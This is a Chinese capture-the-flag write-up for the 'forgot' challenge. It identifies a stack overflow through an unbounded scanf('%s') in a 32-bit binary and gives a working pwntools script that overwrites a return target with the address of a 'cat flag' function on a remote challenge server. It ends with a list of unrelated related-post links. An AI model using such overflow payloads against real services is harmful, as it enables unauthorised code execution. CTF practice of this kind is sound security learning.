攻防世界2

forgot

发现是32位文件

fgets(s, 32, stdin)限制读入32位字符,无法利用

__isoc99_scanf("%s", v2) 典型的栈溢出

发现cat flag

覆盖v2-v3,覆盖为cat flag的函数地址

exp:

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('61.147.171.105','56662')
door = 0x80486CC
io.recvuntil(b'>')
payload = b'aaaa'
io.sendline(payload)
io.recvuntil(b'>')
padding = b'a'*(0x74-0x54+0x4)
payload1 = padding + p32(door)
io.sendline(payload1)
io.interactive()
相关推荐
a123560mh15 小时前
国产信创操作系统银河麒麟常见软件适配(MongoDB、 Redis、Nginx、Tomcat)
linux·redis·nginx·mongodb·tomcat·kylin
赖small强15 小时前
【Linux驱动开发】Linux MMC子系统技术分析报告 - 第二部分:协议实现与性能优化
linux·驱动开发·mmc
SongYuLong的博客15 小时前
Ubuntu24.04搭建GitLab服务器
运维·服务器·gitlab
guygg8815 小时前
Linux服务器上安装配置GitLab
linux·运维·gitlab
RokFile15 小时前
SysInfoKeeper是一款面向 Linux/Unix 的硬件变动检测 CLI 工具
运维
地球没有花15 小时前
gitlab cicd 模块解释
运维·ci/cd·gitlab
百***355115 小时前
Linux(CentOS)安装 Nginx
linux·nginx·centos
小坏讲微服务16 小时前
Docker-compose搭建Docker Hub镜像仓库整合SpringBootCloud
运维·分布式·spring cloud·docker·云原生·容器·eureka
AI大模型学徒16 小时前
Docker(五)_数据根目录空间不足的原因与解决方法
运维·docker·容器
tzhou6445216 小时前
Linux文本处理工具:cut、sort、uniq、tr
linux·运维·服务器